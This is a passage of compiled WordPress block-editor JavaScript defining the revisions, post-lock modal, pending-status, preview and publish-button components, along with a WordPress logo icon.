      getCurrentPostRevisionsCount
    } = select(store_store);
    return {
      lastRevisionId: getCurrentPostLastRevisionId(),
      revisionsCount: getCurrentPostRevisionsCount()
    };
  }, []);
  if (!lastRevisionId || revisionsCount < 2) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check, {
    supportKeys: "revisions",
    children: children
  });
}
/* harmony default export */ const post_last_revision_check = (PostLastRevisionCheck);

;// ./node_modules/@wordpress/editor/build-module/components/post-last-revision/index.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */




function usePostLastRevisionInfo() {
  return (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostLastRevisionId,
      getCurrentPostRevisionsCount
    } = select(store_store);
    return {
      lastRevisionId: getCurrentPostLastRevisionId(),
      revisionsCount: getCurrentPostRevisionsCount()
    };
  }, []);
}

/**
 * Renders the component for displaying the last revision of a post.
 *
 * @return {React.ReactNode} The rendered component.
 */
function PostLastRevision() {
  const {
    lastRevisionId,
    revisionsCount
  } = usePostLastRevisionInfo();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_last_revision_check, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
      __next40pxDefaultSize: true,
      href: (0,external_wp_url_namespaceObject.addQueryArgs)('revision.php', {
        revision: lastRevisionId
      }),
      className: "editor-post-last-revision__title",
      icon: library_backup,
      iconPosition: "right",
      text: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: number of revisions. */
      (0,external_wp_i18n_namespaceObject.__)('Revisions (%s)'), revisionsCount)
    })
  });
}
function PrivatePostLastRevision() {
  const {
    lastRevisionId,
    revisionsCount
  } = usePostLastRevisionInfo();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_last_revision_check, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row, {
      label: (0,external_wp_i18n_namespaceObject.__)('Revisions'),
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        href: (0,external_wp_url_namespaceObject.addQueryArgs)('revision.php', {
          revision: lastRevisionId
        }),
        className: "editor-private-post-last-revision__button",
        text: revisionsCount,
        variant: "tertiary",
        size: "compact"
      })
    })
  });
}
/* harmony default export */ const post_last_revision = (PostLastRevision);

;// ./node_modules/@wordpress/editor/build-module/components/post-last-revision/panel.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



/**
 * Renders the panel for displaying the last revision of a post.
 *
 * @return {React.ReactNode} The rendered component.
 */

function PostLastRevisionPanel() {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_last_revision_check, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, {
      className: "editor-post-last-revision__panel",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_last_revision, {})
    })
  });
}
/* harmony default export */ const post_last_revision_panel = (PostLastRevisionPanel);

;// ./node_modules/@wordpress/editor/build-module/components/post-locked-modal/index.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */


/**
 * A modal component that is displayed when a post is locked for editing by another user.
 * The modal provides information about the lock status and options to take over or exit the editor.
 *
 * @return {React.ReactNode} The rendered PostLockedModal component.
 */

function PostLockedModal() {
  const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(PostLockedModal);
  const hookName = 'core/editor/post-locked-modal-' + instanceId;
  const {
    autosave,
    updatePostLock
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    isLocked,
    isTakeover,
    user,
    postId,
    postLockUtils,
    activePostLock,
    postType,
    previewLink
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      isPostLocked,
      isPostLockTakeover,
      getPostLockUser,
      getCurrentPostId,
      getActivePostLock,
      getEditedPostAttribute,
      getEditedPostPreviewLink,
      getEditorSettings
    } = select(store_store);
    const {
      getPostType
    } = select(external_wp_coreData_namespaceObject.store);
    return {
      isLocked: isPostLocked(),
      isTakeover: isPostLockTakeover(),
      user: getPostLockUser(),
      postId: getCurrentPostId(),
      postLockUtils: getEditorSettings().postLockUtils,
      activePostLock: getActivePostLock(),
      postType: getPostType(getEditedPostAttribute('type')),
      previewLink: getEditedPostPreviewLink()
    };
  }, []);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    /**
     * Keep the lock refreshed.
     *
     * When the user does not send a heartbeat in a heartbeat-tick
     * the user is no longer editing and another user can start editing.
     *
     * @param {Object} data Data to send in the heartbeat request.
     */
    function sendPostLock(data) {
      if (isLocked) {
        return;
      }
      data['wp-refresh-post-lock'] = {
        lock: activePostLock,
        post_id: postId
      };
    }

    /**
     * Refresh post locks: update the lock string or show the dialog if somebody has taken over editing.
     *
     * @param {Object} data Data received in the heartbeat request
     */
    function receivePostLock(data) {
      if (!data['wp-refresh-post-lock']) {
        return;
      }
      const received = data['wp-refresh-post-lock'];
      if (received.lock_error) {
        // Auto save and display the takeover modal.
        autosave();
        updatePostLock({
          isLocked: true,
          isTakeover: true,
          user: {
            name: received.lock_error.name,
            avatar: received.lock_error.avatar_src_2x
          }
        });
      } else if (received.new_lock) {
        updatePostLock({
          isLocked: false,
          activePostLock: received.new_lock
        });
      }
    }

    /**
     * Unlock the post before the window is exited.
     */
    function releasePostLock() {
      if (isLocked || !activePostLock) {
        return;
      }
      const data = new window.FormData();
      data.append('action', 'wp-remove-post-lock');
      data.append('_wpnonce', postLockUtils.unlockNonce);
      data.append('post_ID', postId);
      data.append('active_post_lock', activePostLock);
      if (window.navigator.sendBeacon) {
        window.navigator.sendBeacon(postLockUtils.ajaxUrl, data);
      } else {
        const xhr = new window.XMLHttpRequest();
        xhr.open('POST', postLockUtils.ajaxUrl, false);
        xhr.send(data);
      }
    }

    // Details on these events on the Heartbeat API docs
    // https://developer.wordpress.org/plugins/javascript/heartbeat-api/
    (0,external_wp_hooks_namespaceObject.addAction)('heartbeat.send', hookName, sendPostLock);
    (0,external_wp_hooks_namespaceObject.addAction)('heartbeat.tick', hookName, receivePostLock);
    window.addEventListener('beforeunload', releasePostLock);
    return () => {
      (0,external_wp_hooks_namespaceObject.removeAction)('heartbeat.send', hookName);
      (0,external_wp_hooks_namespaceObject.removeAction)('heartbeat.tick', hookName);
      window.removeEventListener('beforeunload', releasePostLock);
    };
  }, []);
  if (!isLocked) {
    return null;
  }
  const userDisplayName = user.name;
  const userAvatar = user.avatar;
  const unlockUrl = (0,external_wp_url_namespaceObject.addQueryArgs)('post.php', {
    'get-post-lock': '1',
    lockKey: true,
    post: postId,
    action: 'edit',
    _wpnonce: postLockUtils.nonce
  });
  const allPostsUrl = (0,external_wp_url_namespaceObject.addQueryArgs)('edit.php', {
    post_type: postType?.slug
  });
  const allPostsLabel = (0,external_wp_i18n_namespaceObject.__)('Exit editor');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
    title: isTakeover ? (0,external_wp_i18n_namespaceObject.__)('Someone else has taken over this post') : (0,external_wp_i18n_namespaceObject.__)('This post is already being edited'),
    focusOnMount: true,
    shouldCloseOnClickOutside: false,
    shouldCloseOnEsc: false,
    isDismissible: false
    // Do not remove this class, as this class is used by third party plugins.
    ,
    className: "editor-post-locked-modal",
    size: "medium",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      alignment: "top",
      spacing: 6,
      children: [!!userAvatar && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
        src: userAvatar,
        alt: (0,external_wp_i18n_namespaceObject.__)('Avatar'),
        className: "editor-post-locked-modal__avatar",
        width: 64,
        height: 64
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
        children: [!!isTakeover && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
          children: (0,external_wp_element_namespaceObject.createInterpolateElement)(userDisplayName ? (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: user's display name */
          (0,external_wp_i18n_namespaceObject.__)('<strong>%s</strong> now has editing control of this post (<PreviewLink />). Don’t worry, your changes up to this moment have been saved.'), userDisplayName) : (0,external_wp_i18n_namespaceObject.__)('Another user now has editing control of this post (<PreviewLink />). Don’t worry, your changes up to this moment have been saved.'), {
            strong: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("strong", {}),
            PreviewLink: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, {
              href: previewLink,
              children: (0,external_wp_i18n_namespaceObject.__)('preview')
            })
          })
        }), !isTakeover && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
            children: (0,external_wp_element_namespaceObject.createInterpolateElement)(userDisplayName ? (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: user's display name */
            (0,external_wp_i18n_namespaceObject.__)('<strong>%s</strong> is currently working on this post (<PreviewLink />), which means you cannot make changes, unless you take over.'), userDisplayName) : (0,external_wp_i18n_namespaceObject.__)('Another user is currently working on this post (<PreviewLink />), which means you cannot make changes, unless you take over.'), {
              strong: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("strong", {}),
              PreviewLink: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, {
                href: previewLink,
                children: (0,external_wp_i18n_namespaceObject.__)('preview')
              })
            })
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
            children: (0,external_wp_i18n_namespaceObject.__)('If you take over, the other user will lose editing control to the post, but their changes will be saved.')
          })]
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
          className: "editor-post-locked-modal__buttons",
          justify: "flex-end",
          children: [!isTakeover && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            __next40pxDefaultSize: true,
            variant: "tertiary",
            href: unlockUrl,
            children: (0,external_wp_i18n_namespaceObject.__)('Take over')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            __next40pxDefaultSize: true,
            variant: "primary",
            href: allPostsUrl,
            children: allPostsLabel
          })]
        })]
      })]
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-pending-status/check.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


/**
 * This component checks the publishing status of the current post.
 * If the post is already published or the user doesn't have the
 * capability to publish, it returns null.
 *
 * @param {Object}          props          Component properties.
 * @param {React.ReactNode} props.children Children to be rendered.
 *
 * @return {React.ReactNode} The rendered child elements or null if the post is already published or the user doesn't have the capability to publish.
 */
function PostPendingStatusCheck({
  children
}) {
  const {
    hasPublishAction,
    isPublished
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _getCurrentPost$_link;
    const {
      isCurrentPostPublished,
      getCurrentPost
    } = select(store_store);
    return {
      hasPublishAction: (_getCurrentPost$_link = getCurrentPost()._links?.['wp:action-publish']) !== null && _getCurrentPost$_link !== void 0 ? _getCurrentPost$_link : false,
      isPublished: isCurrentPostPublished()
    };
  }, []);
  if (isPublished || !hasPublishAction) {
    return null;
  }
  return children;
}
/* harmony default export */ const post_pending_status_check = (PostPendingStatusCheck);

;// ./node_modules/@wordpress/editor/build-module/components/post-pending-status/index.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */



/**
 * A component for displaying and toggling the pending status of a post.
 *
 * @return {React.ReactNode} The rendered component.
 */

function PostPendingStatus() {
  const status = (0,external_wp_data_namespaceObject.useSelect)(select => select(store_store).getEditedPostAttribute('status'), []);
  const {
    editPost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const togglePendingStatus = () => {
    const updatedStatus = status === 'pending' ? 'draft' : 'pending';
    editPost({
      status: updatedStatus
    });
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_pending_status_check, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
      __nextHasNoMarginBottom: true,
      label: (0,external_wp_i18n_namespaceObject.__)('Pending review'),
      checked: status === 'pending',
      onChange: togglePendingStatus
    })
  });
}
/* harmony default export */ const post_pending_status = (PostPendingStatus);

;// ./node_modules/@wordpress/editor/build-module/components/post-preview-button/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */


function writeInterstitialMessage(targetDocument) {
  let markup = (0,external_wp_element_namespaceObject.renderToString)(/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: "editor-post-preview-button__interstitial-message",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.SVG, {
      xmlns: "http://www.w3.org/2000/svg",
      viewBox: "0 0 96 96",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, {
        className: "outer",
        d: "M48 12c19.9 0 36 16.1 36 36S67.9 84 48 84 12 67.9 12 48s16.1-36 36-36",
        fill: "none"
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, {
        className: "inner",
        d: "M69.5 46.4c0-3.9-1.4-6.7-2.6-8.8-1.6-2.6-3.1-4.9-3.1-7.5 0-2.9 2.2-5.7 5.4-5.7h.4C63.9 19.2 56.4 16 48 16c-11.2 0-21 5.7-26.7 14.4h2.1c3.3 0 8.5-.4 8.5-.4 1.7-.1 1.9 2.4.2 2.6 0 0-1.7.2-3.7.3L40 67.5l7-20.9L42 33c-1.7-.1-3.3-.3-3.3-.3-1.7-.1-1.5-2.7.2-2.6 0 0 5.3.4 8.4.4 3.3 0 8.5-.4 8.5-.4 1.7-.1 1.9 2.4.2 2.6 0 0-1.7.2-3.7.3l11.5 34.3 3.3-10.4c1.6-4.5 2.4-7.8 2.4-10.5zM16.1 48c0 12.6 7.3 23.5 18 28.7L18.8 35c-1.7 4-2.7 8.4-2.7 13zm32.5 2.8L39 78.6c2.9.8 5.9 1.3 9 1.3 3.7 0 7.3-.6 10.6-1.8-.1-.1-.2-.3-.2-.4l-9.8-26.9zM76.2 36c0 3.2-.6 6.9-2.4 11.4L64 75.6c9.5-5.5 15.9-15.8 15.9-27.6 0-5.5-1.4-10.8-3.9-15.3.1 1 .2 2.1.2 3.3z",
        fill: "none"
      })]
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
      children: (0,external_wp_i18n_namespaceObject.__)('Generating preview…')
    })]
  }));
  markup += `
		<style>
			body {
				margin: 0;
			}
			.editor-post-preview-button__interstitial-message {
				display: flex;
				flex-direction: column;
				align-items: center;
				justify-content: center;
				height: 100vh;
				width: 100vw;
			}
			@-webkit-keyframes paint {
				0% {
					stroke-dashoffset: 0;
				}
			}
			@-moz-keyframes paint {
				0% {
					stroke-dashoffset: 0;
				}
			}
			@-o-keyframes paint {
				0% {
					stroke-dashoffset: 0;
				}
			}
			@keyframes paint {
				0% {
					stroke-dashoffset: 0;
				}
			}
			.editor-post-preview-button__interstitial-message svg {
				width: 192px;
				height: 192px;
				stroke: #555d66;
				stroke-width: 0.75;
			}
			.editor-post-preview-button__interstitial-message svg .outer,
			.editor-post-preview-button__interstitial-message svg .inner {
				stroke-dasharray: 280;
				stroke-dashoffset: 280;
				-webkit-animation: paint 1.5s ease infinite alternate;
				-moz-animation: paint 1.5s ease infinite alternate;
				-o-animation: paint 1.5s ease infinite alternate;
				animation: paint 1.5s ease infinite alternate;
			}
			p {
				text-align: center;
				font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
			}
		</style>
	`;

  /**
   * Filters the interstitial message shown when generating previews.
   *
   * @param {string} markup The preview interstitial markup.
   */
  markup = (0,external_wp_hooks_namespaceObject.applyFilters)('editor.PostPreview.interstitialMarkup', markup);
  targetDocument.write(markup);
  targetDocument.title = (0,external_wp_i18n_namespaceObject.__)('Generating preview…');
  targetDocument.close();
}

/**
 * Renders a button that opens a new window or tab for the preview,
 * writes the interstitial message to this window, and then navigates
 * to the actual preview link. The button is not rendered if the post
 * is not viewable and disabled if the post is not saveable.
 *
 * @param {Object}   props                     The component props.
 * @param {string}   props.className           The class name for the button.
 * @param {string}   props.textContent         The text content for the button.
 * @param {boolean}  props.forceIsAutosaveable Whether to force autosave.
 * @param {string}   props.role                The role attribute for the button.
 * @param {Function} props.onPreview           The callback function for preview event.
 *
 * @return {React.ReactNode} The rendered button component.
 */
function PostPreviewButton({
  className,
  textContent,
  forceIsAutosaveable,
  role,
  onPreview
}) {
  const {
    postId,
    currentPostLink,
    previewLink,
    isSaveable,
    isViewable
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _postType$viewable;
    const editor = select(store_store);
    const core = select(external_wp_coreData_namespaceObject.store);
    const postType = core.getPostType(editor.getCurrentPostType('type'));
    const canView = (_postType$viewable = postType?.viewable) !== null && _postType$viewable !== void 0 ? _postType$viewable : false;
    if (!canView) {
      return {
        isViewable: canView
      };
    }
    return {
      postId: editor.getCurrentPostId(),
      currentPostLink: editor.getCurrentPostAttribute('link'),
      previewLink: editor.getEditedPostPreviewLink(),
      isSaveable: editor.isEditedPostSaveable(),
      isViewable: canView
    };
  }, []);
  const {
    __unstableSaveForPreview
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  if (!isViewable) {
    return null;
  }
  const targetId = `wp-preview-${postId}`;
  const openPreviewWindow = async event => {
    // Our Preview button has its 'href' and 'target' set correctly for a11y
    // purposes. Unfortunately, though, we can't rely on the default 'click'
    // handler since sometimes it incorrectly opens a new tab instead of reusing
    // the existing one.
    // https://github.com/WordPress/gutenberg/pull/8330
    event.preventDefault();

    // Open up a Preview tab if needed. This is where we'll show the preview.
    const previewWindow = window.open('', targetId);

    // Focus the Preview tab. This might not do anything, depending on the browser's
    // and user's preferences.
    // https://html.spec.whatwg.org/multipage/interaction.html#dom-window-focus
    previewWindow.focus();
    writeInterstitialMessage(previewWindow.document);
    const link = await __unstableSaveForPreview({
      forceIsAutosaveable
    });
    previewWindow.location = link;
    onPreview?.();
  };

  // Link to the `?preview=true` URL if we have it, since this lets us see
  // changes that were autosaved since the post was last published. Otherwise,
  // just link to the post's URL.
  const href = previewLink || currentPostLink;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    variant: !className ? 'tertiary' : undefined,
    className: className || 'editor-post-preview',
    href: href,
    target: targetId,
    accessibleWhenDisabled: true,
    disabled: !isSaveable,
    onClick: openPreviewWindow,
    role: role,
    size: "compact",
    children: textContent || /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [(0,external_wp_i18n_namespaceObject._x)('Preview', 'imperative verb'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
        as: "span",
        children: /* translators: accessibility text */
        (0,external_wp_i18n_namespaceObject.__)('(opens in a new tab)')
      })]
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-publish-button/label.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


/**
 * Renders the label for the publish button.
 *
 * @return {string} The label for the publish button.
 */
function PublishButtonLabel() {
  const isSmallerThanMediumViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<');
  const {
    isPublished,
    isBeingScheduled,
    isSaving,
    isPublishing,
    hasPublishAction,
    isAutosaving,
    hasNonPostEntityChanges,
    postStatusHasChanged,
    postStatus
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _getCurrentPost$_link;
    const {
      isCurrentPostPublished,
      isEditedPostBeingScheduled,
      isSavingPost,
      isPublishingPost,
      getCurrentPost,
      getCurrentPostType,
      isAutosavingPost,
      getPostEdits,
      getEditedPostAttribute
    } = select(store_store);
    return {
      isPublished: isCurrentPostPublished(),
      isBeingScheduled: isEditedPostBeingScheduled(),
      isSaving: isSavingPost(),
      isPublishing: isPublishingPost(),
      hasPublishAction: (_getCurrentPost$_link = getCurrentPost()._links?.['wp:action-publish']) !== null && _getCurrentPost$_link !== void 0 ? _getCurrentPost$_link : false,
      postType: getCurrentPostType(),
      isAutosaving: isAutosavingPost(),
      hasNonPostEntityChanges: select(store_store).hasNonPostEntityChanges(),
      postStatusHasChanged: !!getPostEdits()?.status,
      postStatus: getEditedPostAttribute('status')
    };
  }, []);
  if (isPublishing) {
    /* translators: button label text should, if possible, be under 16 characters. */
    return (0,external_wp_i18n_namespaceObject.__)('Publishing…');
  } else if ((isPublished || isBeingScheduled) && isSaving && !isAutosaving) {
    /* translators: button label text should, if possible, be under 16 characters. */
    return (0,external_wp_i18n_namespaceObject.__)('Saving…');
  }
  if (!hasPublishAction) {
    // TODO: this is because "Submit for review" string is too long in some languages.
    // @see https://github.com/WordPress/gutenberg/issues/10475
    return isSmallerThanMediumViewport ? (0,external_wp_i18n_namespaceObject.__)('Publish') : (0,external_wp_i18n_namespaceObject.__)('Submit for Review');
  }
  if (hasNonPostEntityChanges || isPublished || postStatusHasChanged && !['future', 'publish'].includes(postStatus) || !postStatusHasChanged && postStatus === 'future') {
    return (0,external_wp_i18n_namespaceObject.__)('Save');
  }
  if (isBeingScheduled) {
    return (0,external_wp_i18n_namespaceObject.__)('Schedule');
  }
  return (0,external_wp_i18n_namespaceObject.__)('Publish');
}

;// ./node_modules/@wordpress/editor/build-module/components/post-publish-button/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */



const post_publish_button_noop = () => {};
class PostPublishButton extends external_wp_element_namespaceObject.Component {
  constructor(props) {
    super(props);
    this.createOnClick = this.createOnClick.bind(this);
    this.closeEntitiesSavedStates = this.closeEntitiesSavedStates.bind(this);
    this.state = {
      entitiesSavedStatesCallback: false
    };
  }
  createOnClick(callback) {
    return (...args) => {
      const {
        hasNonPostEntityChanges,
        setEntitiesSavedStatesCallback
      } = this.props;
      // If a post with non-post entities is published, but the user
      // elects to not save changes to the non-post entities, those
      // entities will still be dirty when the Publish button is clicked.
      // We also need to check that the `setEntitiesSavedStatesCallback`
      // prop was passed. See https://github.com/WordPress/gutenberg/pull/37383
      if (hasNonPostEntityChanges && setEntitiesSavedStatesCallback) {
        // The modal for multiple entity saving will open,
        // hold the callback for saving/publishing the post
        // so that we can call it if the post entity is checked.
        this.setState({
          entitiesSavedStatesCallback: () => callback(...args)
        });

        // Open the save panel by setting its callback.
        // To set a function on the useState hook, we must set it
        // with another function (() => myFunction). Passing the
        // function on its own will cause an error when called.
        setEntitiesSavedStatesCallback(() => this.closeEntitiesSavedStates);
        return post_publish_button_noop;
      }
      return callback(...args);
    };
  }
  closeEntitiesSavedStates(savedEntities) {
    const {
      postType,
      postId
    } = this.props;
    const {
      entitiesSavedStatesCallback
    } = this.state;
    this.setState({
      entitiesSavedStatesCallback: false
    }, () => {
      if (savedEntities && savedEntities.some(elt => elt.kind === 'postType' && elt.name === postType && elt.key === postId)) {
        // The post entity was checked, call the held callback from `createOnClick`.
        entitiesSavedStatesCallback();
      }
    });
  }
  render() {
    const {
      forceIsDirty,
      hasPublishAction,
      isBeingScheduled,
      isOpen,
      isPostSavingLocked,
      isPublishable,
      isPublished,
      isSaveable,
      isSaving,
      isAutoSaving,
      isToggle,
      savePostStatus,
      onSubmit = post_publish_button_noop,
      onToggle,
      visibility,
      hasNonPostEntityChanges,
      isSavingNonPostEntityChanges,
      postStatus,
      postStatusHasChanged
    } = this.props;
    const isButtonDisabled = (isSaving || !isSaveable || isPostSavingLocked || !isPublishable && !forceIsDirty) && (!hasNonPostEntityChanges || isSavingNonPostEntityChanges);
    const isToggleDisabled = (isPublished || isSaving || !isSaveable || !isPublishable && !forceIsDirty) && (!hasNonPostEntityChanges || isSavingNonPostEntityChanges);

    // If the new status has not changed explicitly, we derive it from
    // other factors, like having a publish action, etc.. We need to preserve
    // this because it affects when to show the pre and post publish panels.
    // If it has changed though explicitly, we need to respect that.
    let publishStatus = 'publish';
    if (postStatusHasChanged) {
      publishStatus = postStatus;
    } else if (!hasPublishAction) {
      publishStatus = 'pending';
    } else if (visibility === 'private') {
      publishStatus = 'private';
    } else if (isBeingScheduled) {
      publishStatus = 'future';
    }
    const onClickButton = () => {
      if (isButtonDisabled) {
        return;
      }
      onSubmit();
      savePostStatus(publishStatus);
    };

    // Callback to open the publish panel.
    const onClickToggle = () => {
      if (isToggleDisabled) {
        return;
      }
      onToggle();
    };
    const buttonProps = {
      'aria-disabled': isButtonDisabled,
      className: 'editor-post-publish-button',
      isBusy: !isAutoSaving && isSaving,
      variant: 'primary',
      onClick: this.createOnClick(onClickButton),
      'aria-haspopup': hasNonPostEntityChanges ? 'dialog' : undefined
    };
    const toggleProps = {
      'aria-disabled': isToggleDisabled,
      'aria-expanded': isOpen,
      className: 'editor-post-publish-panel__toggle',
      isBusy: isSaving && isPublished,
      variant: 'primary',
      size: 'compact',
      onClick: this.createOnClick(onClickToggle),
      'aria-haspopup': hasNonPostEntityChanges ? 'dialog' : undefined
    };
    const componentProps = isToggle ? toggleProps : buttonProps;
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        ...componentProps,
        className: `${componentProps.className} editor-post-publish-button__button`,
        size: "compact",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PublishButtonLabel, {})
      })
    });
  }
}

/**
 * Renders the publish button.
 */
/* harmony default export */ const post_publish_button = ((0,external_wp_compose_namespaceObject.compose)([(0,external_wp_data_namespaceObject.withSelect)(select => {
  var _getCurrentPost$_link;
  const {
    isSavingPost,
    isAutosavingPost,
    isEditedPostBeingScheduled,
    getEditedPostVisibility,
    isCurrentPostPublished,
    isEditedPostSaveable,
    isEditedPostPublishable,
    isPostSavingLocked,
    getCurrentPost,
    getCurrentPostType,
    getCurrentPostId,
    hasNonPostEntityChanges,
    isSavingNonPostEntityChanges,
    getEditedPostAttribute,
    getPostEdits
  } = select(store_store);
  return {
    isSaving: isSavingPost(),
    isAutoSaving: isAutosavingPost(),
    isBeingScheduled: isEditedPostBeingScheduled(),
    visibility: getEditedPostVisibility(),
    isSaveable: isEditedPostSaveable(),
    isPostSavingLocked: isPostSavingLocked(),
    isPublishable: isEditedPostPublishable(),
    isPublished: isCurrentPostPublished(),
    hasPublishAction: (_getCurrentPost$_link = getCurrentPost()._links?.['wp:action-publish']) !== null && _getCurrentPost$_link !== void 0 ? _getCurrentPost$_link : false,
    postType: getCurrentPostType(),
    postId: getCurrentPostId(),
    postStatus: getEditedPostAttribute('status'),
    postStatusHasChanged: getPostEdits()?.status,
    hasNonPostEntityChanges: hasNonPostEntityChanges(),
    isSavingNonPostEntityChanges: isSavingNonPostEntityChanges()
  };
}), (0,external_wp_data_namespaceObject.withDispatch)(dispatch => {
  const {
    editPost,
    savePost
  } = dispatch(store_store);
  return {
    savePostStatus: status => {
      editPost({
        status
      }, {
        undoIgnore: true
      });
      savePost();
    }
  };
})])(PostPublishButton));

;// ./node_modules/@wordpress/icons/build-module/library/wordpress.js
/**
 * WordPress dependencies
 */


const wordpress = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "-2 -2 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M20 10c0-5.51-4.49-10-10-10C4.48 0 0 4.49 0 10c0 5.52 4.48 10 10 10 5.51 0 10-4.48 10-10zM7.78 15.37L4.37 6.22c.55-.02 1.17-.08 1.17-.08.5-.06.44-1.13-.06-1.11 0 0-1.45.11-2.37.11-.18 0-.37 0-.58-.01C4.12 2.69 6.87 1.11 10 1.11c2.33 0 4.45.87 6.05 2.34-.68-.11-1.65.39-1.65 1.58 0 .74.45 1.36.9 2.1.35.61.55 1.36.55 2.46 0 1.49-1.4 5-1.4 5l-3.03-8.37c.54-.02.82-.17.82-.17.5-.05.44-1.25-.06-1.22 0 0-1.44.12-2.38.12-.87 0-2.33-.12-2.33-.12-.5-.03-.56 1.2-.06 1.22l.92.08 1.26 3.41zM17.41 10c.24-.64.74-1.87.43-4.25.7 1.29 1.05 2.71 1.05 4.25 0 3.29-1.73 6.24-4.4 7.78.97-2.59 1.94-5.2 2.92-7.78zM6.1 18.09C3.12 16.65 1.11 13.53 1.11 10c0-1.3.23-2.48.72-3.59C3.25 10.3 4.67 14.2 6.1 18.09zm4.03-6.63l2.58 6.98c-.86.29-1.76.45-2.71.45-.79 0-1.57-.11-2.29-.33.81-2.38 1.62-4.74 2.42-7.1z"
  })
});
/* harmony default export */ const library_wordpress = (wordpress);

